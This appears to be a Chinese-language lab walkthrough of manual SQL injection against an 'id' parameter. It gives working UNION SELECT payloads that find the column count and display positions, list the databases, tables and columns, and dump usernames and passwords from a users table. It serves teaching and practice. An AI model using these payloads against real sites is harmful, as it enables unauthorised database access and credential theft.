1.先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1
(2)再输入?id=1'
界面无变化
(3)再输入?id=1''
界面还是无变化,
(4)再输入?id=1 and 1=1
界面正常
(5)再输入?id=1 and 1=2
界面无变化
根据(4)(5)判断,注入不是数字型
(6)再输入?id=1"
发现报错,报错信息多了一个括号,判断接收到的参数可能为id=("1")
(7)输入?id=1") --+
页面正常,说明我们判断正确
2.对列数进行判断
(1)输入?id=1") order by 3 --+
页面正常
(2)输入?id=1") order by 4 --+
页面错误
(3)判断有3列
3.查看显示位,判断手注位置
(1)输入?id=-1") union select 1,2,3 --+
2,3为显示位,此时可在2,3位置进行手注
4.进行注入
(1)查询所有的数据库:?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
(2)注当前数据库名:?id=-1") union select 1,database(),3 --+
(3)爆注册表。?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
(4)注某张表的字段,这里以users为例:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
(5)注字段的username,这里以users表为例:?id=-1") union select 1,group_concat(username),3 from security.users --+
(6)注字段的password,这里以users表为例:?id=-1") union select 1,group_concat(password),3 from security.users --+